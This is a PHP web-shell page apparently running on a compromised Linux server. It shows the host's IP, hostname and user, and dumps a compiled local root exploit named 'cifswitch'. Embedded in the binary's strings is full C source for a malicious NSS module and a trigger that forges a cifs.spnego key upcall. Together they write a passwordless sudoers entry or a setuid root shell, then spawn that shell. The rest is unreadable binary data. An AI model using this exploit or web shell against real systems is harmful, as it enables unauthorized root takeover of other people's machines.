403Webshell
Server IP : 162.214.67.83  /  Your IP : 216.73.217.31
Web Server : Apache
System : Linux dedi-13542965.clustter.com.br 5.14.0-687.20.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jun 30 06:22:49 EDT 2026 x86_64
User : jforte ( 1063)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/ruut/build/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/ruut/build/cifswitch
ELF>4@��@8@ @@@ttt��   }}@@@�5�5H}H�H���}����PPP$$huhuhu  �u�u�u  S�tdhuhuhu  P�td�q�q�q��Q�tdR�tdH}H�H���GNUhU����9oA#Iq�_���/lib64/ld-linux-x86-64.so.2>�>@(��e�m9�"��n��� ��?'�[� D^l-L��>!�?'�(a.�� 3H�
Qh6YSX-��Z 8g�s���"��fgetsrewindfchmodsleepperrorfreefreadchdirstatstrdupclosedirrealpathfflushfopengetpwuidforkstrlen__ctype_b_locstrstrmkdirdup2getpidstdoutexecvp_exit__libc_start_mainremovestderrnftwvsnprintf__cxa_finalizedprintfftellgetgidstrerrorreaddirgetenvcallocfclosefputcvfprintfwaitpidfputsopendirgetuidaccessfwritestrcmpfseek__errno_locationpipestrtok_rstrncmplibc.so.6GLIBC_2.3GLIBC_2.33GLIBC_2.34GLIBC_2.3.3GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTable�ii
���������si	�ui	�H��4P��4X�d@`�l@h�v@p�BAx��A��&D���A���A�� ��� ���8A���B���B���Bȍ �Ѝ>D؍MDББ��ȏЏ&؏7�?�>�@���� �(�0�	8�
@�H�P�
X�`�h�p�x�������������������ȐАؐ�� �!��"�#�$�%�' �((�)0�*8�+@�,H�-P�.X�/`�0h�1p�2x�3��4��5��6��8��9��:��;��<��=H��H��oH��t��H����5�o�%�o@�%�oh����%�oh�����%�oh����%�oh����%�oh����%�oh����%�oh����%�oh�p����%�oh�`����%�oh	�P����%zoh
�@����%roh�0����%joh� ����%boh
�����%Zoh�����%Roh���%Joh����%Boh�����%:oh����%2oh����%*oh����%"oh����%oh����%oh�p����%
oh�`����%oh�P����%�nh�@����%�nh�0����%�nh� ����%�nh�����%�nh�����%�nh���%�nh ����%�nh!�����%�nh"����%�nh#����%�nh$����%�nh%����%�nh&����%�nh'�p����%�nh(�`����%�nh)�P����%znh*�@����%rnh+�0����%jnh,� ����%bnh-�����%Znh.�����%Rnh/���%Jnh0����%Bnh1�����%:nh2����%2nh3����%*nh4����%"nh5����%nh6����%nh7�p����%
nh8�`����%lf�AWAVAUATUSH��7������S���A��H��@��H�=z1��$1��H�
�yH�� H�=�w�1��H�
�wH��H�=�u��1��H�
�wH��H�=�s�1��H�
�yH�� H�=�q�1��H�
ryH�� H�=do�1��H�
QyH�� H�=Cm�^H�=��BH�=C�6H�=;�*H�=W�H�=)��-������� ��������H����
H�H�D$(H����
H�|$(����H��H��t=�H���L�D$(H�{�H�D$@H�01�A�H��Nu/�IӀ�v'��_t"��$uH9�tH�t$(H�=T 1��]DH��H9�u�H�z1��~�gL��$�fHn�H�cH��$�fl�fHn�H��$�H�$I��H��$�L��$�)�$��~�gH�D$fl�)�$�M�4$�L��1�H��L����H��L��������u]H��L������H��tMH����
L�l$0E1��f.�I��L9���L��H��H��	L������u�f�ff.�I��L9d$�h���H���,H��H�=��y������M	H�=�����A���H���H�L$(D��H�=���1��P�������t^H�=�1���f�H����H�D$0H��H�پH��	H��H��I��H�1���L9d$������H���H��H�<$E1�1�fHn�E1�A� 1��~=�eH��H���~-�efHn�H���~�e�~�efl�fHn�fl��efl�L��$�L��$�)|$0)�$�)�$�)�$�)�$�)�$�)�$�)�$�)�$���D$���]H�$E1�L��H�=3D��$�Ƅ$��H�=-���I��H��tQL����H��t<�x.t�H�HH�1�H�߾�~H�$H��L���L�����H��u�L�������$���
��$���
H�=�L��$�E1���H�5sH�=�1��B���H�5�hH�=�1��-����H�
�h�H�=���L�t$Hff.�L��H�=k1�I��H��	M��L����I9�u�H�5Eh�
�;���H��H�=qr�����u%�	�@H�5gH�=Pr�{�������	H�=<r�gH�=0p�[1��H��H�
rH�2�.��H�52H����fHn�E1�1�1�1�L��)�$�����o	H�
�q�1�H�H��$���H�<$�1�H�
�qH����L��1�H�
�qH���H�5�H��$��C���I��H����H��L����fHn�H���~%�b�~�bfHn�H��H�=��~-�bfl�fl��~5�b�~
�b)�$�fHn�H�c-YbfHn�H��fl�)�$�fl�fHn��~Hb)�$�)L$pL��$fl�)t$`)T$P���L���H�=A���H�5hjL���	L��
����L���H�=#�j���H�53fL���K	L��
����L���H�=�5���H�t$(L���	L��
���L���H�=�����H�5�gL����L���H�=�����L�麖�H�=���L���i�H�<$��H�5�2�D��H�5�/H�=ak�,foT$PH���~�`H��foL$pfo�$�H�5.ofHn�H�g)�$�fl�fHn�fot$`H�Y)�$�)�$fHn�)�$�)�$�)�$�)�$)�$ )�$0�H�5�nL���H�=��1Ƀ|$fo�$�fo�$�u'fo�$��fo�$�)�$�)�$�fod$0H��H�uH��	)DH���)$)l H�T$HH�f�L� I��H��I9�u�H�1�H�5nH��̐H������G���H�5#H�=�g��H��H����H�Ǻ1��I�H�������I��H���
H����I�}���I��I��H���HM����H���G�A�<$��L���t�H�5�H�=��!�I��H����L�l$@L��H����H������$����HI�UH���*�ff.�ff.��EH����t�DB u�H�5'H��������H�5H������e����E��tI�U�DB �N���L���V�H�=�,1��XH�=��,���1�1�A� H��L�������H�=����D$�Y���fD�E����I�UH���f��EH�����?����DB u��3���H��H�=��������H�=F1��H�����H��L��H���D�I9��,���L����H���k��kL���a�H�=",1��cH�5,aL�����H�5�L�����H��tUL���h�H�=���'	���H�=.���E1����H���\���H��$�H�D$0�%���H�5zL���l�H����H�2fHn�H�=0,fHn�fl�)$�1�fo$H�=�bH��$�L���~
E\
�[)�$�)�$������H�����H#�$H=�MH�T`H�M,�H��PI��I��PH�L$81��Q	H��$�1��ZY�����~
K[H�UH�=--�~=[fHn�Q[)$fl�)L$�o�H�=��c�H�
�a1�H��cH�5�_H�=���H�5�iH�=�1����H�=���H�=H_��foL$H��1�fo$H�=�
H��$�)�$�)�$��_����8��H�=EH��1��"L���J�H�=3*1��H�=M1��H�5aH�=�*1���H�5�`H�=�*1���H�=�1���H�=G����8��H��$�H�=H��1��H�=�1��H�=�1��y����8���H�5vhH�=vH��1��UH�5^hH�=�1��@H��H�=f�1H��H�=�1�� H�=o1��H�=+1��@1�I��^H��H���PTE1�1�H�=����[�f.�@H�=�]H��]H9�tH�n[H��t	�����H�=a]H�5Z]H)�H��H��?H��H�H�tH�=[H��t��fD�����=M]u+UH�=[H��tH�=�\����d����%]]������w����H��H��H�=�
1��[�H�=�\H���{�ff.��;�ff.�ATI��UH��H���"S���]��u�^�L����n��]H����tA��\tM��"tH��
tc������H��DX@u�H�5m
L��1�H�����]��u�[L��]�"A\����H�55
L��1��\��f.�L���H�=
�G��d���f�SH��H���H�t$(H�T$0H�L$8L�D$@L�L$H��t7)D$P)L$`)T$p)�$�)�$�)�$�)�$�)�$�H�
�[�H��$��H�D$H�=�	H�D$ �D$�D$0H�D$��H�=F[H�T$H���Y�H�52[�
����^�ff.�AWI��AVM��AUI��ATI��U��SH��H�|$�D$H�D$����������@���R�P�����ts�|$L�|$�F�M��A��I��
E!�E1��|$�L����H������E��tI�VH����Q@��t�H�
3ZH�¾L����묋|$���M����L���g������z��8���|$L��H�5GH��1����~���L��8�N����|$H�l$�u���+��8���:1�H�������x�E��tC�D5�T$�Ѓ����P�耀��}N�H��[]A\A]A^A_�H�5LY�$I�_�>�I�7H��t!fDH�=.1�H����H�s�H��u�H�5Y�
��H�=�X���N�����뉺�K�L5L)�H9�HGЃ�s0��uX��tA�7@�1��t
��A�|7�f�|1�I�C�D5�f���I�7H�1��I�|7�H�|1�H�yL��H��H)�H)����H���A�7�1��A�|7��|1�����H�=�H��1�����|$�����|$����|$���I�?L���p�I�?�H�������8��H�=MH��1��!����l��8�u�H�= H��1�����@ATH�P1�1�UfHn�H��	A� SfHn�H�<fHn�H��@ �~SH�l$@H��H�D$0fl�H��)$�~�Rfl�)D$�~�Rfl�)D$ �\����\$@A�Ą�t3��H��"ff.�ff.��]H����t�DX u�H���U�H�\H9�s2���H��fDff.�H���H9�t�C��DB u�1�E��uH�5ZH��������H��@ []A\�f�SH��H���H�L$8L�D$@L�L$H��t7)D$P)L$`)T$p)�$�)�$�)�$�)�$�)�$�H��$�H�L$H���D$H�D$H�D$ �D$0H�D$��Hc�H9�s
��x	H���[�H�=�1��$���@AVAUATI��H�=�USH���"�H�SH�D$H��HE�H���3�H����H�l$H�5�H��I��H����H��H��tmL�-?� �H��H�5z1��w�H��H��tD�9�H�|$M��ID�H�1�����H�|$�>���u�L������
L���s�1�H��[]A\A]A^�H�=�1��#���AV1�I��AUA��ATUH���ASH���������H��A����H��H��td@H��H��D����H��x
H)�tHH������8t�D��H�D$�9�H�T$�:��L��H�=AH��1����f�D��D���%���u4H��D��[]A\A]A^������8��L��H�=�H��1��=������8��L��H�=�H��1�����f�ff.�SE1�1ɺH��������u[�H���H�=�1����@SH�������t[�H��H�=�����f�S��H���B���t���8��u[���H��H�=jH��1�����AWI��AVI��H�5�AUATUSH���M�H����I�ŐL��H���@�H����$��t����H��H���ff.��]H����t���DB u�#t�H�5�H���v�H��t�A�H�5�H���^�H���u���A��l���@L����H��[]A\A]A^A_�H��H���
***%s***
\%c\n\x%02x[-] pipe failed: %sfork failed: %schdir(%s): %s
waitpid failed: %ssudo-n/bin/bash-cid -u0path/string buffer too small.PATHstrdup PATH failed%s/%swrite(%s) failed: %sfchmod(%s) failed: %smkdir(%s) failed: %scifs.spnegocifs.upcall%u_%u%s/fakelib%s/nsswitch.confgccmountunshare%s/libnss_files.so.2/usr/etc/nsswitch.confPREFLIGHT-Ur-maa-exectrinity--true/etc/request-key.conf/etc/request-key.d/etc/request-key.d/%sBUILDING POCworkdir: %s
sudoers target: %s
nss library mount targets:failed to remove %s: %s%s/exec-probe.sh#!/bin/sh
exit 0
%s/libnss_pwn.c%s/trigger.c%s/triggerwfopen(%s) failed: %s./trigger-Wall-Wextra-std=gnu11-o-shared-fPICfakelib/libnss_pwn.so.2#define EVIDENCE_PATH #define SUDOERS_PATH #define SUDOERS_USER #define ROOT_SHELL_PATH 

TRIGGERING CIFS UPCALLrbcalloc failed/proc/filesystemsnodevcifswrote sudoers entry:created fallback root shell:SPAWNING ROOT SHELLcleanup after testing:  sudo rm -f %s %s %s
  rm -rf %s
$ sudo -n /bin/bash -pexec sudo failed: %s/usr/lib64/usr/lib/x86_64-linux-gnu/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bincommand failed with exit %d: %spreflight failed: missing required command: %s/tmp/cifs-upcall-sudoers-poc-%s/tmp/cifs_upcall_sudoers_evidence_%s.txt/var/tmp/cifs_upcall_rootsh_%s/etc/sudoers.d/cifs-upcall-poc-%srun this PoC as the unprivileged user to be granted sudocould not resolve current usernamerefusing unusual sudoers username syntax: %stoo many NSS library directoriescould not locate an NSS module directory containing libnss_files.so.2preflight failed: no nsswitch.conf bind target foundrunning as uid=%u gid=%u user=%s
preflight failed: this user already has passwordless sudo/rootpreflight failed: unprivileged user+mount namespaces unavailable:
%susing aa-exec trinity profile for user namespace setuppreflight failed: direct unshare and aa-exec trinity fallback failed:
%spreflight failed: no active cifs.spnego request-key rule foundpreflight failed: cifs.spnego rule exists but does not call cifs.upcallpreflight failed: cannot execute files from %s; /tmp may be noexec#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <nss.h>
#include <pwd.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

static void write_all(int fd, const char *buf, size_t len)
{
        while (len) {
                ssize_t ret = write(fd, buf, len);
                if (ret <= 0)
                        return;
                buf += ret;
                len -= (size_t)ret;
        }
}

static void create_fallback_root_shell(int logfd)
{
        int in_fd;
        int out_fd;
        int rc;
        int saved_errno;
        char buf[8192];
        ssize_t n;

        errno = 0;
        in_fd = open("/bin/bash", O_RDONLY | O_CLOEXEC);
        saved_errno = errno;
        if (in_fd < 0) {
                if (logfd >= 0)
                        dprintf(logfd, "fallback failed to open /bin/bash errno=%d (%s)\n",
                                saved_errno, strerror(saved_errno));
                return;
        }

        errno = 0;
        out_fd = open(ROOT_SHELL_PATH,
                      O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 04755);
        saved_errno = errno;
        if (out_fd < 0) {
                if (logfd >= 0)
                        dprintf(logfd, "fallback failed to open %s errno=%d (%s)\n",
                                ROOT_SHELL_PATH, saved_errno,
                                strerror(saved_errno));
                close(in_fd);
                return;
        }

        while ((n = read(in_fd, buf, sizeof(buf))) > 0)
                write_all(out_fd, buf, (size_t)n);

        errno = 0;
        rc = fchown(out_fd, 0, 0);
        saved_errno = errno;
        if (logfd >= 0)
                dprintf(logfd, "fallback fchown root shell rc=%d errno=%d (%s)\n",
                        rc, saved_errno, strerror(saved_errno));

        errno = 0;
        rc = fchmod(out_fd, 04755);
        saved_errno = errno;
        if (logfd >= 0)
                dprintf(logfd, "fallback fchmod root shell rc=%d errno=%d (%s)\n",
                        rc, saved_errno, strerror(saved_errno));

        fsync(out_fd);
        close(out_fd);
        close(in_fd);

        if (logfd >= 0)
                dprintf(logfd, "created fallback root shell: %s\n",
                        ROOT_SHELL_PATH);
}

__attribute__((constructor))
static void pwn_constructor(void)
{
        int logfd;
        int sudoers_fd;
        int rc;
        int saved_errno;
        const char *comment =
                "# cifs.upcall namespace NSS PoC; remove after testing\n";

        logfd = open(EVIDENCE_PATH,
                     O_WRONLY | O_CREAT | O_APPEND | O_CLOEXEC, 0644);
        if (logfd >= 0)
                dprintf(logfd, "attacker NSS loaded by cifs.upcall\n");

        rc = mkdir("/etc/sudoers.d", 0755);
        if (rc != 0 && errno != EEXIST && logfd >= 0)
                dprintf(logfd, "warning: mkdir /etc/sudoers.d failed errno=%d (%s)\n",
                        errno, strerror(errno));

        errno = 0;
        sudoers_fd = open(SUDOERS_PATH,
                          O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 0440);
        saved_errno = errno;
        if (sudoers_fd < 0) {
                if (logfd >= 0)
                        dprintf(logfd, "failed to open %s errno=%d (%s)\n",
                                SUDOERS_PATH, saved_errno,
                                strerror(saved_errno));

                create_fallback_root_shell(logfd);

                if (logfd >= 0)
                        close(logfd);
                return;
        }

        write_all(sudoers_fd, comment, strlen(comment));
        dprintf(sudoers_fd, "%s ALL=(ALL:ALL) NOPASSWD: ALL\n",
                SUDOERS_USER);
        fchmod(sudoers_fd, 0440);
        fsync(sudoers_fd);
        close(sudoers_fd);

        if (logfd >= 0) {
                dprintf(logfd, "wrote sudoers entry: %s\n", SUDOERS_PATH);
                close(logfd);
        }
}

enum nss_status _nss_pwn_getpwuid_r(uid_t uid, struct passwd *pwd,
                                    char *buffer, size_t buflen, int *errnop)
{
        const char *name = "root";
        const char *gecos = "root";
        const char *dir = "/root";
        const char *shell = "/bin/bash";
        size_t need = strlen(name) + strlen(gecos) + strlen(dir) +
                      strlen(shell) + 4;
        char *p = buffer;

        if (buflen < need) {
                *errnop = ERANGE;
                return NSS_STATUS_TRYAGAIN;
        }

        strcpy(p, name);
        pwd->pw_name = p;
        p += strlen(p) + 1;
        strcpy(p, gecos);
        pwd->pw_gecos = p;
        p += strlen(p) + 1;
        strcpy(p, dir);
        pwd->pw_dir = p;
        p += strlen(p) + 1;
        strcpy(p, shell);
        pwd->pw_shell = p;

        pwd->pw_passwd = (char *)"x";
        pwd->pw_uid = uid;
        pwd->pw_gid = 0;
        *errnop = 0;
        return NSS_STATUS_SUCCESS;
}
passwd: pwn files
group: files
shadow: files
hosts: files dns
exploit failed: cifs.upcall did not load the attacker NSS moduleexploit failed: CIFS is not registered in /proc/filesystems; cifs.ko may be unavailable or blockedexploit failed: NSS loaded but neither sudoers nor fallback shell was writtenDIRECT SUDOERS WRITE FAILED; USING FALLBACK ROOT SHELLfallback failed: no fallback root shell at %sfallback failed: %s is not a root-owned setuid shellprintf '%%s\n' '# cifs.upcall namespace NSS PoC; remove after testing' '%s ALL=(ALL:ALL) NOPASSWD: ALL' > %s; chown root:root %s; chmod 0440 %s; stat -c 'fallback sudoers state: %%n: %%A uid=%%u gid=%%g size=%%s' %sexploit failed: sudoers entry was written, but sudo -n root check still failedroot shell will be launched by this original process in the host namespace.#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef __NR_request_key
# if defined(__x86_64__)
#  define __NR_request_key 249
# else
#  error "unknown request_key syscall number"
# endif
#endif

#ifndef __NR_keyctl
# if defined(__x86_64__)
#  define __NR_keyctl 250
# else
#  error "unknown keyctl syscall number"
# endif
#endif

#ifndef KEY_SPEC_SESSION_KEYRING
# define KEY_SPEC_SESSION_KEYRING -3
#endif

#ifndef KEYCTL_JOIN_SESSION_KEYRING
# define KEYCTL_JOIN_SESSION_KEYRING 1
#endif

static void die(const char *what)
{
        perror(what);
        exit(1);
}

static long do_request_key(const char *desc)
{
        return syscall(__NR_request_key, "cifs.spnego", desc, "",
                       KEY_SPEC_SESSION_KEYRING);
}

static void ensure_live_session_keyring(void)
{
        long ret;

        errno = 0;
        ret = syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING,
                      "cifs-upcall-sudoers-poc", 0, 0, 0);
        if (ret < 0)
                die("KEYCTL_JOIN_SESSION_KEYRING");
}

static void try_autoload_cifs(void)
{
        char mountpoint[] = "/tmp/cifs_upcall_sudoers_autoload_XXXXXX";
        char *dir;
        pid_t pid;
        int status;

        dir = mkdtemp(mountpoint);
        if (!dir)
                return;
        chmod(dir, 0755);

        pid = fork();
        if (pid == 0) {
                int devnull = open("/dev/null", O_WRONLY | O_CLOEXEC);
                if (devnull >= 0) {
                        dup2(devnull, STDOUT_FILENO);
                        dup2(devnull, STDERR_FILENO);
                }
                execlp("mount", "mount", "-t", "cifs",
                       "//127.0.0.1/share", dir, "-o", "guest,vers=3.0",
                       (char *)NULL);
                _exit(127);
        }
        if (pid > 0)
                (void)waitpid(pid, &status, 0);

        rmdir(dir);
}

static void mask_dir_if_present(const char *path)
{
        struct stat st;

        if (stat(path, &st) != 0 || !S_ISDIR(st.st_mode))
                return;

        if (mount("tmpfs", path, "tmpfs", 0, "mode=755") != 0)
                fprintf(stderr, "warning: failed to mask %s: %s\n",
                        path, strerror(errno));
}

static void mask_runtime_nss_caches(void)
{
        mask_dir_if_present("/run/nscd");
        mask_dir_if_present("/var/run/nscd");
}

static void bind_nsswitch_config(const char *source)
{
        const char *targets[] = {
                "/etc/nsswitch.conf",
                "/usr/etc/nsswitch.conf",
                NULL
        };
        int saved_errno = ENOENT;

        for (int i = 0; targets[i]; i++) {
                struct stat st;

                errno = 0;
                if (stat(targets[i], &st) != 0) {
                        if (errno != ENOENT)
                                saved_errno = errno;
                        continue;
                }

                errno = 0;
                if (mount(source, targets[i], NULL, MS_BIND, NULL) == 0) {
                        fprintf(stderr, "using nsswitch bind target: %s\n",
                                targets[i]);
                        return;
                }

                saved_errno = errno;
        }

        errno = saved_errno;
        die("bind nsswitch.conf");
}

int main(int argc, char **argv)
{
        char desc[768];
        long ret;

        if (argc < 4) {
                fprintf(stderr, "usage: %s /path/to/fakelibdir /path/to/nsswitch.conf /nss/libdir [...]\n", argv[0]);
                return 2;
        }

        ensure_live_session_keyring();

        if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL) != 0)
                die("make mounts private");
        try_autoload_cifs();
        mask_runtime_nss_caches();
        bind_nsswitch_config(argv[2]);

        for (int i = 3; i < argc; i++) {
                if (mount(argv[1], argv[i], NULL, MS_BIND | MS_REC, NULL) != 0)
                        die("bind nss libdir");
        }

        snprintf(desc, sizeof(desc),
                 "ver=0x2;host=example.com;ip4=127.0.0.1;sec=krb5;"
                 "uid=0x0;creduid=0x0;pid=%d;upcall_target=app;user=root",
                 getpid());
        errno = 0;
        ret = do_request_key(desc);
        fprintf(stderr, "sent forged cifs.spnego upcall (request_key rc=%ld errno=%d)\n",
                ret, errno);
        sleep(2);
        return 0;
}
;�p�������0���h`���P�� ���8���L`��|@���`������@��@@���P�������������zRx�����"zRx�$�����FJw�?;*3$"D���\(��%D\t@��,�<���B�D�L �n
DGE�����A�J�L����B�E�E �E(�D0�C8�G�s
8A0A(B BBBA0$p��.B�L�S �X�@� AAB Xl���A�J��
AA@|����B�B�B �K(�A0�G��
0A(A BBBA@����B�G�E �A(�I0�D@�
0D(A BBBE���,A�W
A ���A�M
A<���9A�^
AHX����B�E�L �B(�A0�A8�G��8A0A(B BBBD�����,B�B�B �B(�A0�A8�G�o�
�oG�o\�oA�oGNU��GNU�4�4d@l@v@BA�A&D�A�A � �8A�B�B�B �>DMD� 
t?H�P����o��	�
�X`��	���o���ox���o�o����o�6 F V f v � � � � � � � � !!&!6!F!V!f!v!�!�!�!�!�!�!�!�!""&"6"F"V"f"v"�"�"�"�"�"�"�"�"##&#6#F#V#f#v#�#�#�#�#БGCC: (Debian 15.2.0-17) 15.2.0�	�u �
5%
05(
@5�7
6�;
�6L
:.\
@;�f
�;�y
�<�
>,�
0>�
P>9�
�>�� �@� �� �� �� �
 � �"�_1�<
@4>
p4Q
�4g�sP��
�4�H�1��`u�����q��):Wt�� ��h ȑ�����)ؑ0CWlt?r������1��,�ASfȑs��� ��Б��@��
 `�l
4"%7�C
�#,H[�o�������ؑ� 0B"]
 ct���Scrt1.o__abi_tagpoc.cstepremove_cbwrite_c_quoteddierun_argv_capturesudo_root_checkxsnprintfexecutable_in_pathwrite_filerun_argv_checkedrequire_commandmkdir_one.constprop.0scan_request_key_filerun_tokenworkdirfakelib_dirfake_nsswitchevidence_logroot_shellsudoers_pathtrigger_sourcecrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entry__FRAME_END___DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE_getenv@GLIBC_2.2.5free@GLIBC_2.2.5nftw@GLIBC_2.3.3__libc_start_main@GLIBC_2.34__errno_location@GLIBC_2.2.5remove@GLIBC_2.2.5strncmp@GLIBC_2.2.5_ITM_deregisterTMCloneTablestdout@GLIBC_2.2.5_exit@GLIBC_2.2.5mkdir@GLIBC_2.2.5fread@GLIBC_2.2.5vsnprintf@GLIBC_2.2.5getpid@GLIBC_2.2.5_edatafclose@GLIBC_2.2.5opendir@GLIBC_2.2.5getpwuid@GLIBC_2.2.5_finistrlen@GLIBC_2.2.5chdir@GLIBC_2.2.5getuid@GLIBC_2.2.5dup2@GLIBC_2.2.5rewind@GLIBC_2.2.5fputs@GLIBC_2.2.5dprintf@GLIBC_2.2.5pipe@GLIBC_2.2.5closedir@GLIBC_2.2.5fputc@GLIBC_2.2.5strtok_r@GLIBC_2.2.5fgets@GLIBC_2.2.5calloc@GLIBC_2.2.5__data_startstrcmp@GLIBC_2.2.5ftell@GLIBC_2.2.5__gmon_start__stat@GLIBC_2.33__dso_handlerealpath@GLIBC_2.3_IO_stdin_usedgetgid@GLIBC_2.2.5readdir@GLIBC_2.2.5fflush@GLIBC_2.2.5_endfseek@GLIBC_2.2.5__bss_startmainfchmod@GLIBC_2.2.5waitpid@GLIBC_2.2.5access@GLIBC_2.2.5fopen@GLIBC_2.2.5perror@GLIBC_2.2.5vfprintf@GLIBC_2.2.5execvp@GLIBC_2.2.5fwrite@GLIBC_2.2.5__TMC_END___ITM_registerTMCloneTablestrdup@GLIBC_2.2.5strerror@GLIBC_2.2.5sleep@GLIBC_2.2.5__cxa_finalize@GLIBC_2.2.5_initfork@GLIBC_2.2.5strstr@GLIBC_2.2.5__ctype_b_loc@GLIBC_2.3stderr@GLIBC_2.2.5.symtab.strtab.shstrtab.note.gnu.build-id.interp.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.note.gnu.property.note.ABI-tag.init_array.fini_array.data.rel.ro.dynamic.got.plt.data.bss.commentPP$.tt6���o��0@��H�	�	P���o���]���oxx`l���vB``X�  {    ���#�#��#�#� �t?t?	�@@�1 ��q�q��HrHr�huhu ��u�u �H�H}�P�P}�X�X}���}�����(
���ȑȁ�؁� 0؁���
'	���r�'

Youez - 2016 - github.com/yon3zu
LinuXploit